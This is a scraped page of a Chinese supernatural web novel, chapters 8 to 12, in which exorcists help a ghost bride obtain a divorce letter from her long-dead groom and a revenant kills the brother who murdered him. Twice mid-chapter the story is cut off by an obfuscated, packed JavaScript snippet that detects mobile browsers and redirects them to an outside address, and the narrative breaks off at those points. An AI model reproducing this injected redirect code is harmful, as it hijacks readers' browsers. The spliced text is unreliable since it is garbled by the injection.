女子身着红色嫁衣,因盖着鸳鸯戏水的红盖头,看不清相貌如何,她双手指甲翻起,血肉模糊,那晃动在空中的双脚,一只穿着祥云喜鞋,一只却空荡荡,露出呈青灰色的赤脚。 贺千宸一眼就看出来,女子是名枉魂。 枉魂,顾名思义便是枉死之人,因心中执念或怨气太重,从而画地为牢,被永远困在原地。 陆观棋瞥见那抹青灰色的肤色时,忍不住倒吸一口凉气,他看向许念儿,嘀咕道。 “你这上河村还真是卧虎藏龙。” 刚解决那群让人头皮发麻的人皮鬼,眼下又出现个红色嫁衣女鬼。 许念儿:…… 女子虽披着红盖头,但并不影响她的视线。 “呀!” “你还活着。” 女子口中的“你”,显然是指本乡人许念儿。 许念儿则有些诧异。 “你…认识我?” 听到这话,女人那只青灰色的手隔着红盖头捂着嘴,并发出诡异的嬉笑声,那垂在半空中的双腿正有一下没一下的晃动。 “怎会不认识。” 女子给予答复时,脑袋朝左半歪着,似是下一秒,那红盖子就裹着头颅滚落下来。 “这上河村的人我都认识。” 她的语气带着几分得意,可瞬间又化为浓浓的哀怨。 “但无一人能瞧见奴家。” “奴家好恨!” 柳树的枝叶随之疯狂晃动起来,贺千宸下意识握紧手中的桃木剑,陆观棋则拉着许念儿熟练的躲在后方。 姜桡却微蹙眉心,她很不赞同道。 “可我们现在就能瞧见你呀!” 女子:“……” 贺千宸没忘记他们来这目的,眼前枉魂既被困在这棵柳树中,又认得上河村的人,想必是很清楚这河边曾发生过什么。 他沉默片刻,才缓缓开口。 “可否…” 话还未说完,就被坐在柳树上的枉魂给打断,她一只青灰色的手扯了扯旁侧的柳叶儿,笑道。 “呀~你们这是有事要问奴家。” 姜桡没多想,她丝毫不惧的盯着身着红色嫁衣女子。 “你能告诉我们,这几日河边可曾发生过什么事吗?” 女子先是有些诧异,而后点点头,血红色的鸳鸯戏水盖头也跟着晃动起来,并说出自己条件。 “只要你们帮奴家做三件事,奴家就告知前几日河边所发生的事。” 她虽有些忌讳贺千宸手中的那把桃木剑,但态度十分坚决。 “若不同意,你们就算把奴家打的魂飞魄散,奴家也是不会说的。” 姜桡下意识看向贺千宸,并朝他身边贴了贴,悄悄问道。 “我们要同意吗?” 贺千宸垂眸,眼底露出几分不易察觉的温柔,他很喜欢姜桡口中的“我们”这两个字,显得十分亲昵。 "先问清楚是哪三件事。" 坐在柳树上的女子只是死了,又不是聋了,两人“悄悄话”听的清清楚楚,她连忙开口。 “奴家那三件事一点都不难。” 姜桡闻言,有些好奇:“那你先说说看!” 女子伸出那双青灰色的手,边拨动那看似轻飘飘却十分沉重的红 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她声音很轻,就像是一阵风,使得两侧的柳树叶儿也开始摇曳起来。 陆观棋直接愣住,他本以为阮娘的夫君还活在世间,找到人后威逼利诱让写下和离书即可。 谁知人已经死了。 陆观棋抱着最后一丝希望问道:“死多久了?” 阮娘那双青灰色的手钻入红盖头里,撑着下巴想了想。 “忘了。” 那人前脚死,她就后脚跟上。 也不知是心中的不甘,还是怨气太重,她被困在这棵柳树之上,看着那群人变老死去,后代成人生子。 听到这话的陆观棋几乎是哭丧着脸看向贺千宸与姜桡,他就不该那么早的应下此事。 “若非枉死,或执念过深,死去多久的人早就转世轮回,纵使有天大的本事,也无法完成这第一件事。” 姜桡皱着眉,疑惑问道。 “这个和离,非得是阮娘的夫君才行吗?” 陆观棋一下子就被点醒了。 他连忙看向身着红色嫁衣的阮娘:“还不知你夫家叫什么?” 阮娘:“他唤赵诠。” 知晓叫什么,那就好办了。 陆观棋偏头看向许念儿:“你村的祠堂在哪?” 许念儿犹豫片刻,伸手指向东边。 于是他们两人走在前方,姜桡与贺千宸跟在身后,朝着上河村的祠堂方向走去。 姜桡贴近贺千宸,问出刚才想说的话。 “什么是和离呀?” 贺千宸轻声解释:“就是两个人分开,不在一块的意思。” 恍然大悟的姜桡连忙道:“那我们千万不能和离。” “程千鹤”这般厉害,若是分开,谁还帮她找人。 贺千宸先是愣住,待回过神后耳根子稍稍发红,他并未纠正姜桡这个说辞,而是轻“嗯”了声。 坐在柳树上的阮娘望着四人离去的背影,那双指甲翻起,血肉模糊的双手拨动着身边的柳叶儿,而后轻哼着记忆中的哭嫁谣。 “嫁新娘,拜别爹娘着红装~” “铜锣喧嚣唢呐响,抬上花轿哭断肠~” “执子手,跪厅堂,三叩首啊入洞房~” 那声音如风般轻而又空灵。 远远听着,似是在啼哭。 9. 第九章 上河村的祠堂位于东边,屋檐下悬挂的两盏红灯笼早已熄灭,但在月色下,依旧像是一双红彤彤的眼,盯着朝这边走来的四人。 祠堂大门两侧贴着红纸对联,那墨字也不知被什么给晕落开,黑色水渍从上蔓延而下,唯有写着“百福迎门”的横幅还幸存。 许念儿将人带到祠堂口便停下来,她想了想,才开口道。 “女子,不能进。” 从她有记忆起,村里女子们是被禁止进祠堂,只能在外看着,跪着。 姜桡正好奇的打量面前的祠堂,听到这话后,有些疑惑问。 “为什么女子不可进?是有什么忌讳吗?” 许念儿低头轻声道:“他们说,女子晦气,会…破坏村里…风水。” 姜桡不由蹙眉,并有些生气的反驳着。 “男女本就是女娲娘娘手中的一把土,皆为平等,什么晦气不晦气的,分明在胡说八道。” 话音落后,她便想上前推开门,却被贺千宸伸手给拦住,他声音低柔。 “我来。” 没等姜桡开口,贺千宸就单手推开祠堂那厚重的木门,伴随“咯吱”的一声响,祠堂内的布局缓缓呈现在众人面前, 门后是处宽敞的前院,前院中间是由青石铺路,一直延伸到前方天井,那天井左侧有三间大小不等的房,后方则是摆放灵位的正厅。 贺千宸一眼就看出来,祠堂是依独脚狮布局所建,他先跨过高高的门槛,确定没危险后,才偏头看向姜桡道。 “进来吧。” 姜桡眉眼弯弯的看向贺千宸,抬脚走了过去,陆观棋连忙紧随其后,唯有许念儿还站在原地犹豫着。 最终还是姜桡上前,伸手将她给拉进去。 “怕什么!” “难不成这地方还会把你吃了不成!” 四人刚走进前院,身后的木门就自个缓缓关上,陆观棋被吓的一激灵,下意识拽住许念儿的胳膊,待回过神后,才尴尬的松开手。 “刚…地上有个坑。” 许念儿没吭声,只是怯生生的抬起头,快速地看了眼那摆放灵位的正厅。 那正厅门窗虽紧闭,却能瞥见从缝隙里渗出来的羸弱火光,那火光宛如锋利的鬼爪,迅速朝她袭来。 这吓得许念儿满脸惊慌的朝后退好几步,双手更是紧紧攥着衣角。 姜桡见状,正准备上前宽慰,贺千宸不动声色的走上前拦住她的视线,姜桡略微疑惑的抬起头,看着站在自己面前的男人。 贺千宸垂眸,呼吸微顿,神色有些晦暗不明,姜桡太过在意别人时,他有种属于自己的东西被人偷走的感觉。 心里很不舒服。 姜桡能察觉到贺千宸的情绪有些不对,她想了想,然后“学着”陆观棋握住贺千宸的左手,眨了眨眼。 “你也要牵手吗?” 男人的手很漂亮,骨架分明且修长,肤色白皙如上好的白玉瓷,他掌心温度有些烫,就像是小火炉般。 姜桡手也好看,洁白细嫩,但与贺千宸相比较的话,手掌要小了许些,只要握住,便可紧紧裹在其中。 这突如其来的亲昵,让贺千宸的眼中闪烁着几丝无措,耳根更是羞红,但嘴角却微微上扬,他有些依依不舍松开后,才转移话题道。 “我们先进去。” 半个时辰快到了,悬挂在上空的那轮圆月也开始慢慢黯淡下来,为避免碰到那群难缠的人皮鬼,他们必须在黑暗来临之前躲进正厅里头。 这次依旧是贺千宸推门开,可抬腿进去的瞬间,浓浓的血腥味扑面而来,一把沾有血迹的铁锄从阴影中朝着他砸去。 贺千宸身法灵敏躲过,抬手持桃木剑轻轻一挑,只见那把铁锄如断了线的风筝,重重的落在地面上,在这死寂的正厅中,发出十分刺耳的撞击声。 没等站在阴影中的人反应过来,剑尖便抵在他的喉咙处。 纵使剑是桃木所制,却依旧能感受它的锋利与凉意,似是只要稍稍用力,这把桃木剑就可划破皮肤,割开血肉。 被剑尖抵的村民哪敢动弹,他连忙开口解释道。 “误会!误会!!! “我以为是邪祟闯进来,这才动手的。” 见没什么危险的陆观棋凑上前,目光紧盯着面前村民。 “他在说谎。” 贺千宸神情淡淡:“我知晓。” 屋内浓郁的血腥味,下手的狠劲,以及漏洞百出的解释,都证明村民在说谎。 真面目被戳穿的村民瞬间慌了,正准备哀求这几名脸生的外乡人时,却瞥站在最后方的许念儿,他像是抓到救命稻草般,急忙喊道。 “许丫头,你快救救我!” 许念儿愣了下。 “赵有叔。” 赵有也不敢动弹,只能僵站在原地,脸上露出一个比哭还要难看的笑。 姜桡似是察觉到什么,小声呢喃着。 “奇怪。” 贺千宸垂眸,神情温柔的问道。 “怎么了?” 姜桡抿唇沉思片刻,决定将自己所看到的东西说出来。 她伸手指向正前方,也是摆放密密麻麻的牌位的位置,而牌位的下方是摆放祭品与香炉的几案,几案上还有一盏散发微光火光的油灯。 “那有团气,大半是血红色,另小半却是淡金色,以及一缕不易察觉的灰气。” 没等贺千宸开口,便听陆观棋不可置信道。 “姜姑娘竟能瞧见炁!” 炁又可称为气,古书记载,炁为天地所聚,包含万千生机。 街头算命常用的话术,施主印堂发黑,将有大祸临头,亦血光之灾,这所谓印堂发黑,便是人身体中炁的转变。 姜桡眼底闪过一丝慌乱,她下意识看向贺千宸,像是个做错事的孩子般。 “我…不能看到炁吗?” 说罢,姜桡目光落在贺千宸头顶上那团乌云,它身形变小了许些,正无精打采的蜷缩着。 贺千宸先是一愣,而后压低声音安抚面前的人,也不忘用余光警告着陆观棋。 “自然能。” “拥有这种能力的人很多,并没什么特殊之处。” 贺千宸在说谎,哪怕在里界,也极少有人能够看见炁。 此时悬挂在头顶之上的那轮圆月已经在溃散,无数的荧光慢慢散落,似雪花飞舞,月亮也由圆形变得不规则,直至消失不见。 被黑暗淹没的瞬间,陆观棋手疾眼快地将身后的大门给紧紧关上,牌位下方的那盏油灯还散发微弱的光,它将厅内一分为二,半亮半暗,更将五人的影子拉的极长。 陆观棋凑到贺千宸面前,边上下打量着那名村民,边压低声音道。 “程兄,不如咱们先把他给……” “绑”还没来得及说,做了亏心事的赵有就吓得直哆嗦,想都没想,就把自己的底牌给亮出来保命。 “高人!高人!我……我知晓怎么躲开那些东西,还望高人大人有大量,饶了我这条狗命。” 那些东西显然是指闻声而来的人皮鬼。 四人目光瞬间落在那脸色苍白如纸的赵有身上,贺千宸神情冷漠。 “嗯?” 陆观棋是个人精,他故作吓唬道:“敢说谎就把你给丢出去。” 赵有并不担心这秘密说出来,自己就没了价值,相反,他的命将会无比重要,指不定还能攀上高人的大腿。 “这地儿本是赵家祖祠,曾经祭拜的也都是赵家祖宗,只是后来天灾人祸,赵家村人丁萧条,逃难的外乡人们在这落了脚,自那以后赵家村就成上河村,赵家祖祠也成了山河村的祖祠,所以这个秘密很少人知晓。” 纵使心有不满,但人在祖祠,也不敢表露出来。 “当时天一直不亮,我阿爷就说出事了,喊着我与阿兄两家朝祠堂赶去。” 散发微光的油灯虽无法照亮整个祠堂大厅,但能感觉到,这地方除了他们之外,并没有瞥见赵有口中的那些人。 陆观棋忽想起那把沾有血迹的铁锄,以及那无法忽略的血腥味,心里不由冒出一个可怕的想法。 “你该不会把他们都给杀了吧。” 赵有摇摇头,又点点头,他笼罩在黑暗中,让人无法看清脸上神情。 “还没赶到祠堂,就出了事。” 赵有伸手,狠狠的抹了把脸,语气带着颤意,继续说道。 “当时天黑蒙蒙的,就像泡在浓稠的烂泥里,阿爹一直催我们走快些。” “不知怎么,我家娃忽然挣脱我的手,只是眨眼的功夫就没了影。” “我婆娘哭喊要去找,阿爹不允,争执中,阿兄的两个娃娃也不见了。” 赵有停顿了下,深深吸口气。 “最后只有我跟阿兄活着赶到祠堂,用阿爹教的法子撑到现在。” 对于面前村民的这番言论,贺千宸并没全信,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这话让赵有直接愣在原地,待回过神后,他目光死死的盯着躲在姜桡身后的许念儿,若是被牵扯进来的路人,怎会好心带个拖油瓶。 许念儿被盯得心慌,察觉到这一幕的姜桡朝旁边挪了挪,便将许念儿给挡在自己身后。 她对赵有没什么好感,可此人想跟着他们离开也行,便很实诚的将眼下局势讲述出来。 “眼下我们还在找离开的法子,若你相信我们的话,待会可以一起离开祠堂。” 陆观棋心里虽然有意见,但十分有眼力劲,见贺千宸没开口阻止,也只好闭上嘴。 赵有闻言,那双三角眼中掠过一丝鄙夷神色,他还以为这三人是什么厉害高人呢。 再者说,整个村子唯有祠堂是最安全的,只有傻子才会离开。 “我……我还是不拖你们后腿较好。” 这次轮到陆观棋愣住,好半响才反应过来,若不是碍于赵有在场,他恨不得把姜桡夸到天上去。 以退为进,妙呀~ 站在旁侧的贺千宸忽开口问道:“祠堂到了,接下来要怎么做?” 话音落后,姜桡与许念儿皆看向陆观棋。 众人是为阮娘和离一事来上河村祠堂,陆观棋既答应此事,想必是有法子能做到。 陆观棋立马昂首挺胸,更是骄傲的在内心“哼”了声,他边朝摆放密密麻麻的牌位方向走去,边得意道。 “我曾受外界修真者指点,这布阵招魂术法还是会的。” 贺千宸语气淡淡的“嗯”了声,而姜桡则“哇”了声,算是给足了陆观棋脸面。 从来没见过布阵的姜桡十分好奇上前围观,她也不忘拉着许念儿一起,贺千宸则跟在身后。 赵有却认为陆观棋在夸大其词,要是布阵招魂,哪还离不开这鬼地方,怕是一阵乱瞎比划,随后他看向落在不远处的锄头。 只见贺千宸先从几案上拿出三炷香,用以血为引的油灯点燃后,双手持香对着密密麻麻牌位三鞠躬,嘴里则念念有词。 “这布阵招魂是无奈之举,还望各位前辈们莫怪。” 说完后,贺千宸持三炷香插在香炉上,见那三炷香既没熄也没断,瞬间松了口气。 姜桡疑惑的扯了扯贺千宸的衣角问道:“这是在做什么呀?” 贺千宸对其他宗门的术法也略知一二,便轻声解释。 “叩魂开路。” 许是怕姜桡不懂这其中意思,继续道。 “点香叩拜是对亡魂敬重,问话之后,那插在香炉的三根香灭了亦或者断了,就说明它们不同意布阵招魂。” 姜桡瞬间明白过来:“那它们现在同意了吗?” 贺千宸声音低柔:“同意了。” 10. 第十章 得到上和村祖宗们的同意,陆观棋的布阵招魂就要简单的多,他伸手从怀里掏出一盒白瓷圆盒,那里头装的是上好朱砂。 他以手代笔,在地面上开始绘制复杂的法阵,绘制法阵是件很难的事,在这过程中,须心无杂念,其次就是法阵的每一步都不可错,不然就前功尽弃。 陆观棋最开始的动作很慢,直到画到最重要的部分才加快速度,只是片刻,一个由红色朱砂绘制的圆形法阵呈现在他的脚下。 “接下来就是招魂了。” 所有阵法启动是需要献祭,比如含有“灵气”的灵石。 陆观棋解开腰间的钱袋子,无比心疼的从里面掏出一颗低级灵石,灵石形状如棋子般大小,通体虽透明,但细看会发现里头沉淀许多黑点。 他正准备将灵石放在阵眼上时,不曾想一个没拿稳,那颗低级灵石直接滚进案几底下,没了踪影。 案几上铺着黑色的粗布,长长的下摆将整个案几遮挡的严实,并散发着浓郁的血腥味。 姜桡见状:“要我帮忙吗?” 可话音落后,原本躲在阴暗角落中的赵有忽然跳出来:“哎呀,这种活还是让我来。” 陆观棋面露狐疑,贺千宸则直接用桃木剑拦住赵有的去路,姜桡与许念儿还没反应过来是怎么一回事,陆观棋便已经伸手掀开粗布下摆。 在看清藏在案几下的东西时,贺千宸快速伸手挡住姜桡的视线,许念儿是被吓得跌坐在地。 几乎贴脸的陆观棋脸色苍白的厉害,没有人会想到这地方会藏着一具死状凄惨的尸体。 尸体后脑勺瘪下大半,一条狰狞的伤口从左边眉眼延伸到右嘴角处,将整张脸割裂为二,在这昏黄的火光中,显得无比瘆人。 姜桡疑惑的将贺千宸那挡在眼前的手推开,在看到那具尸体时,整个人不由呆愣住。 这是她下山第一次碰到死人,心里多多少少有些惊愕,待回过神后,才小声呢喃道。 “我不怕。” 姜桡也不忘安抚身边的贺千宸:“你也别怕。” 可说完又觉得自己多虑,里界之人怎会害怕这些呢。 被关心的贺千宸眼底露出几分欢喜,他声音低柔呼应。 “好。” 半蹲在案几面前的陆观棋正深吸一口气,颤着手将尸体旁边的灵石给捡了出来。 而被桃木剑被拦住去路的赵有额头上满是冷汗,他也没料到竟这么凑巧,让这三外乡人发现尸体。 若不是打不过…… 很快他就有了主意,赵有故作诧异道:“这下面怎会有具尸体。” 贺千宸眉梢微挑,手中的桃木剑逼近赵有的喉咙,他声音带着几分冷意,质问道。 “你会不知?” 赵有神情慌张的盯着那把看似平平无常的桃木剑,也不忘开口辩解。 “高人冤枉,我真不知那里头藏有尸体呀!。” 这三名外乡人只要不知晓尸体身份,他这个谎言就无法被戳破,可惜这如意算盘还是打空了。 他忽略了一个人。 许念儿不知何时从地上爬坐起来,她双手攥紧拳头,用自己最大的声音喊道。 “你在撒谎!” “那分明是赵才叔,是你的阿兄!” 虽然尸体的脸上有一道骇人的伤,但许念儿一眼就认出死者身份,而被戳破谎言的赵有十分怨毒的瞪了眼多嘴的许念儿。 姜桡想起那把带血的锄头,许是没想到手足之间会自相残杀,她不可置信道。 “你杀了你阿兄?” 赵有哪敢承认,他急忙悲痛欲绝的解释。 “兄长是为保护我才被邪祟所杀,我不忍将兄长暴尸荒野,才将尸体藏在案几下方。” 在场几人并未被这话给糊弄过去,刚刚还狡辩不认得死者,眼下又是一套说辞,分明谎话连篇。 陆观棋冷哼一声:“等我这招魂阵成了,就能知晓事情真相如何。” 说罢,他将手中的灵石放置在阵眼中心,随着微弱荧光亮起,法阵每条纹路也都散发羸弱的白光,开始从左朝右的转动起来。 “香为引,请阴魂,上河村赵才赵诠何在!” 随着陆观棋这么一喊,法阵转动的速度也越发快了起来。 这时姜桡瞥见围绕在那团金红气体周边的那抹不易察觉的灰气,正缓缓钻入阵法之中。 灰气很快就显现出来,并从拳头大小逐渐聚为人形。 片刻,一名身着红色喜袍的男子站在法阵中间,他脸色浮肿呈青灰色,嘴唇发乌,外表看起来虽然十分的恐怖,但买双眼却十分的清澈。 不用开口表明身份,众人也清楚男子就是阮娘要找的赵栓。 这时案几以鲜血为灯油的油灯开始忽明忽暗,一缕缕红气如丝线般钻入案几下的尸体内,赵才那黝黑粗糙的手指动了动。 察觉到不对劲的姜桡急忙喊道:“陆观棋!快离开那!” 贺千宸立即持桃木剑,剑气瞬起,可正准备挥剑朝着案几下方尸体斩去时,不明所以的赵有却误以为他是要毁掉油灯,那可是自己活命的依靠,想都没想就拿着沾血的锄头朝姜桡砸去。 赵有清楚自己不是贺千宸的对手,但从刚刚发现来看,他很在意身边的小姑娘。 没怎么经历事的姜桡,先是被吓得朝后退了几步,后才反应过来自己怕他做甚! 她身形如燕般轻盈,迅速侧身躲过砸下来的锄后,抬腿用一成力就将人给踹飞。 狠狠摔在地面上的赵有只觉得五脏六腑都移了位,痛的发出阵阵哀嚎声。 贺千宸也因他的袭击,被转移所有的心神,聚起来的剑气消散的同时,案几下方的那具尸体也睁开了眼。 对上那双红色瞳孔的陆观棋发出一声惨叫,边喊着“程大哥,姜姑娘救命!”,边用这辈子最快的速度跑到两人身后。 身为魂体的赵栓见状,化为一缕灰色烟气消失不见。 “咔…咔…咔” 骨头发出脆响的声音回荡在这个房间,直到赵才彻底爬站起来。 陆观棋见状,急忙忙喊道:“程大哥,你快动手呀!” 他怀疑是自己学艺不精,布置阵法时出了错,才导致赵才直接诈尸。 贺千宸目光是落在姜桡身上,见人无碍才将视线落在赵才身上。 他本可一剑斩杀怨尸,但眼下却改变了注意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555897|155452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这是怨尸,我们与他无冤无仇,是不会攻击我们的。” 说完这话,贺千宸侧过身朝后走了几步,十分贴心地给“怨尸”让个道。 亦如贺千宸所说的那般,怨尸完全无视他们,而是动作僵硬且诡异的朝着赵有所在方面走去。 赵有抬头见本已死去的人站在自己面前时,瞬间吓得魂飞魄散,他不顾身体的疼痛,连滚带爬的朝着门口方向跑去。 在边逃跑的过程中,赵有声音微微发颤的哀求道。 “阿兄,我也不想的。” “娃子们忽然失踪本就邪门,当时为了大家安危着想,我才不让嫂子找人,再说阿爹也没反对呀!” “何况我家娃子也没了,难道我就不伤心!!” 赵有见阿兄尸体离自己越来越近,他几乎是哭着喊着解释自己的过错。 “我怎知嫂子会偷跑去找娃子们,还把我婆娘也带过去。” “咱们婆娘都没了!你凭什么怪我!” 怨尸听到这话,似是想起了什么,它呆愣在原地,那双被鲜血浸红的双眼死死的盯着面前之人。 “嗬…嗬……阿爹………” 听到这话的赵有脸上浮现一丝心虚的神情,只是很快就消失不见。 他没错! “我若不推阿爹,当时我们都得死!他都一脚踏棺材里头,替我们挡住邪祟也是死有其所。” 这话让陈才身上的怨气越发浓郁。 “杀人…偿命!” 赵有余光瞥向漆黑的屋外,眼下并不是逃离祠堂的好时机。 他现在宛如笼中困兽,挣不脱,逃不掉,唯有厚着脸皮,边朝着持桃木剑的贺千宸边求救。 “高人!还望替天行道,救救我!” 贺千宸神情淡漠,并抬手用剑尖对准赵有,拒绝他的靠近,许是怕被姜桡觉得自己冷血无情,贺千宸语气带着几分慌张的解释道。 “他杀了人!” 若不然,那具怨尸也不会紧追不放。 姜桡看得十分通透,世间无论何物,皆有好坏两面。 她轻声开口:“做错事就要接受做错事的惩罚。” 而躲在两人身后的陆观棋也不忘添几句。 “杀兄弑父,这种人罪不可赦,还有脸喊替天行道,老天有眼第一个就收了他!” 听到“杀兄弑父”四个字时,赵有彻底崩溃的大喊喊。 “我只是想活着,我有什么错!” 赵有到现在都认为自己是被逼无奈,他转身看向步步紧逼的阿兄,五官越发狰狞。 “谁让你因阿爹一事与我起争执,还非要离开祠堂。” “那油灯只能用赵家人血肉点燃,我若不先下手,那死的就是我!” 赵有捡起地上那把带血的镰刀,如疯魔般嘶吼着。 “我能杀你一次,就能杀第二次!” “阿兄,这都是你逼我的!” 说罢,他就举起手中镰刀,朝着面前的赵才狠狠劈去。 那道被油灯拉长身影亦如最开始时,赵才咒骂赵有不应将阿爹推到邪祟面前,转身正想开门去寻人,却瞧见映在门上那道举起镰刀的影子。 11. 第十一章 那把镰刀狠狠砍向赵才的颈脖处,然后被深深的镶嵌在骨头里。 尸体是不会流血,也不会感到疼痛,但黑血却顺着赵才眼眶中滚落下来,让那张狰狞的脸显得更加可怖。 赵才伸出手,黑长的指甲很轻松的破开赵有的胸膛,只是瞬间,就将那颗滚热且跳动的心脏给扯了出来。 死去的赵有不甘的倒在地上,失去光泽的眼怒睁着,而杀死仇人的怨尸,身体就像是被火点燃的纸钱,很快就消散在众人面前。 姜桡想起自己看的那些戏折子,不由呢喃着。 “算是恶有恶报。” 贺千宸则轻“嗯”了声,表示赞同。 没了怨尸,赵栓也再次出现,他先给众人行个拱手礼,才从怀里掏出一封沾有血迹的书信。 “可否帮我个忙?” 陆观棋:“………” 他忍不住道:“你们这些阴魂怎么都喜欢让人帮忙呀?” 姜桡忍不住问:“你可是赵栓?” 赵栓那张青灰色的脸上露出诧异神情:“我已死了上百年,姑娘怎知我的名讳?” 姜桡便将阮娘一事说了出来。 赵栓闻言,脸上的诧异转变成愧疚。 “此事是我对不起她,这是和离书,还劳烦各位替我带过去给阮娘。” 姜桡上前接过赵栓手中那封带有血迹的和离书,随即有些疑惑的问。 “和离书既早早就写好,为何你现在才拿出来?” 赵栓沉默片刻后,才将事情的来龙去脉一一讲述出来。 他身体不好,三天一小病五天一大病,郎中更是断言活不过十八。 阿爹阿娘怕他死后成为孤魂野鬼,无法投胎转世,便寻了命八字般配的阮娘,打算寻个好日子让人嫁过来。 那时赵栓已病入膏骨,想着自己不能害无辜姑娘一辈子,便开口劝阻爹娘,甚至担忧阿爹阿娘还会一意孤行,便强撑着写下这封和离书,打算还阮娘自由。 可没等阮娘嫁过来,赵栓就因病逝世,他庆幸没祸害阮娘,可过望乡台时,却见阿爹阿娘竟让阮娘坐上花轿,嫁给要早已经死去的自己! 他又惊又气,却又无法阻止,便带着那封和离书,一直在下面等着阮娘寿正终寝。 可等了百年,也不见阮娘。 直到听闻有人唤自己名讳,才出现在引魂的阵法中。 贺千宸听罢,不由轻声道。 “怪不得会成为枉魂,入不了轮回。” 陆观棋瞬间倒吸一口凉气:“鬼亲,冥婚!” 赵栓的时间不多,他对着众人再行个拱手礼,语气诚恳。 “还劳烦姑娘将这封和离书交付阮娘。” 话音落后,遗愿已了的赵栓身影缓缓消散在引魂阵中。 姜桡看着手中那封沾有血迹的和离书,也不知为何,只觉得心里头堵的慌。 她的情绪几乎是写在脸上,贺千宸走上前,有些担忧问道。 “怎么了?” 姜桡握紧手中的和离书,她抿了抿唇,才仰起脸,看向站在自己面前的贺千宸。 “赵栓说在望仙台瞧见阮娘嫁给死去的自己,而阮娘身上还穿着嫁衣,披着红盖头。” “程千鹤,阮娘…在嫁给赵栓后就死了。” 姜桡不懂鬼亲跟冥婚是什么意思,但清楚坐在柳树枝干上的阮娘是只枉魂。 枉魂,怨气亦或者执念过重。 而阮娘执念有三,和离,属于自己的香火,以及脱掉身上的嫁衣。 这执念持续百年。 姜桡长长的眼睫毛微微颤了颤,刚刚那些话正凝聚成一股陌生且沉重的情绪,让她感到很不开心。 “阮娘…很可怜。” 贺千宸目光落在姜桡脸上,他左手忍不住抬起,想去触摸姜桡那柔软的发丝,但很快就克制的定在半空中,而后垂落下来。 片刻,才温声的宽慰着。 “阿桡,她很幸运,她已经等到想要的东西。” 姜桡想了想,侧目看向门外:“那等月亮出来,我们就将和离书送过去。” “不对,还要带上新的衣裳与香火。” 陆观棋立即“唉呀”了声:“香火简单,在这拿三炷香就行,但衣裳我们去哪找?” 贺千宸解释:“阴魂只需用黄纸折衣,念其名讳丢入火盆中即可。” 祠堂中黄纸多的是,但三人对折衣是一窍不通。 没什么存在感的许念儿怯生生道:“我会折。” 每年盂兰节与清明节,她都会随着村里婶婶用黄纸钱折成小衣裳,这种衣裳被称呼为福衣,用来祭拜先祖。 陆观棋闻言,连忙上前拿一叠黄纸到许念儿面前。 “够吗?” 许念儿声音细小如蚊。 “够。” 她拿起三张黄纸开始对折,十指灵活翻动,又加三张黄纸进去,很快一套小小的衣裙就呈现在众人面前。 姜桡不由惊叹:“念儿的手可真巧。” 陆观棋也小声嘀咕:“没想到你还有这样本事。” 得到夸赞的许念儿涨红着脸,她低着头,连折五套福衣后才停下来。 贺千宸看了眼案几上的油灯,里面的血快要燃烧殆尽,灯灭之后,驱赶邪祟的能力也会跟着消失。 “嘘!” 他声音低沉且严肃道:“别再出声,灯要灭了!” 余下三人立即望向那盏油灯,只见白色灯芯微微摇曳,几番挣扎之后,那如黄豆粒的火苗瞬间熄灭,祠堂也陷入一片黑暗。 姜桡似是想起什么,摸索着抓紧身边贺千宸的手,她明显察觉男人的手微微抖了下,然后五指僵硬的伸开着。 贺千宸脸颊微微发热,右手传递来的温热让他整个人变得笨拙起来,脑子也不由得揣测姜桡的用意。 阿桡为什么牵自己的手? 她是只牵他一个人,还是也牵了别人的手? 圆月不知不知何时从粘稠的黑暗中钻了出来,清冷月色洒落下的瞬间,那首诡异的歌谣再次响起。 “天惶惶~地惶惶~” “我家有个爱哭郎。” “天勒勒~地勒勒~” “我家娃娃莫要喊。” “阿婆领你去吃糖。” 诡异的歌谣再次响起,与上次不同的是,那阴恻恻的且嘶哑的嗓音听的人恍惚出神。 姜桡与贺千宸很快就从这种游离的状态中清醒过 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这让陆观棋忍不住打个寒颤,他边朝贺千宸身后靠去,边小声嘀咕着。 “那赵有曾说娃儿们突然间消失,会不会也中了离魂术?” 贺千宸眼眸一闪,眉心微微蹙起。 “极有可能。” 被安抚好情绪的许念儿有些不好意思的松开姜桡衣角,她浑身脏兮兮的,不能把姜桡姐姐漂亮的衣裙给弄脏。 许念儿声音细小如蚊:“姜桡姐,谢……谢谢,我……我没事。” 她先将掉落在地上的福衣小心翼翼的捡起来,确定没有损坏后,才将其塞到自己的怀里,并爬站起来。 姜桡见许念儿无碍,不由松口气,随即她侧目门外被月色照亮的院子,脸上露出十分疑惑的神情。 “既中了离魂术的人会呆傻站在原地,那为什么许念儿还会推门出去?” 如若没有从那种诡异的游离状态中清醒过来,许念儿怕会像赵有的娃子们,也突然消失不见。 陆观棋只觉得细思极恐,偷偷朝贺千宸的身边又凑了凑。 凑的近,就多了份安心。 正在沉思的贺千宸自是察觉到陆观棋的小动作,在不留痕迹的与陆观棋拉开几步距离后,才开口道。 “那首歌谣。” 姜桡回头看向贺千宸:“歌谣?” 这时许念儿忽开口:“那不是……不是歌谣。” 三人目光瞬间齐刷刷的落在许念儿的身上,被盯着的许念儿很不自在的低着头,然后四五个,四五个字蹦出来解释。 那是小儿啼哭咒,家中若有孩子啼哭不停,便抱着孩子在院外,边绕圈走边念着“天惶惶,地惶惶,我家有个夜哭郎……” 可很奇怪,大家听到的小儿啼哭咒后半段是不对的。 还有件事! 那道小儿啼哭咒声音消失后,许念儿就听到有人喊自己,这才身不由己的打开门,并朝着那片还未被月色照亮的阴影中走去, 在那片阴影中,许念儿看到一抹模糊的人影。 12. 第十二章 姜桡听到这话直接愣住,她并未察觉到许念儿口中的那抹人影,贺千宸则神情严肃,不由想起祠堂外那道窥探的视线。 而唯一能笃定的是,藏在黑暗中的“人”目前对他们没有恶意。 